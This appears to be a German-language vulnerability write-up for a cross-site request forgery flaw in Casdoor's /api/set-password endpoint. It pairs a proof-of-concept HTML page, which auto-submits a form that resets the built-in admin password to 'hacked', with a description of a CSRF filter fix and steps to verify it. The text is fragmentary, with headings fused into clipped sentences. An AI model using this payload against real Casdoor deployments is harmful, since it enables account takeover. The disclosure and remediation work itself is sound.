
Zusammenfassung
/api/set-password, das Passwortänderungen ohne Zustimmung ermöglicht.Auswirkungen
built-in/admin), was zur Übernahme des Kontos führt.Angriffsvoraussetzungen
casdoor_session_id-Cookie./api/set-password absendet.Proof of Concept
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
Grundursache
/api/* akzeptieren cookie-authentifizierte Anfragen, ohne Same-Origin-Prüfungen (Origin/Referer) oder CSRF-Tokens durchzusetzen.Überblick über die Behebung
/api/* zu verweigern.Authorization, Basic Auth, Client-Anmeldedaten oder accessToken) sowie Anfragen ohne Browser-Sitzungscookies (typische Server-zu-Server-Aufrufe).Implementierung
csrf_filter.go implementierten routers.CSRFFilter. Dieser Filter:
So integrieren Sie es in Casdoor
csrf_filter.go in das vorhandene routers-Paket des Casdoor-Projekts. Ändern oder löschen Sie nichts in dieser Datei.main):
// Beego v1 style
beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
// If your project uses Beego v2 and imports as `web`:
// web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
Verifizierung
Unauthorized operation verweigert werden und der Server sollte CSRF check failed protokollieren.Authorization-Header oder accessToken-Parameter enthalten, sollten weiterhin funktionieren.Repository-Dateien
csrf_filter.go: CSRF-Filter zum Kopieren in das routers-Paket von Casdoor.poc.html: Minimale Seite, die den CSRF-Angriff reproduziert.README.md: Dieses Dokument, das die Schwachstelle und die Behebungsschritte beschreibt.Referenzen
Video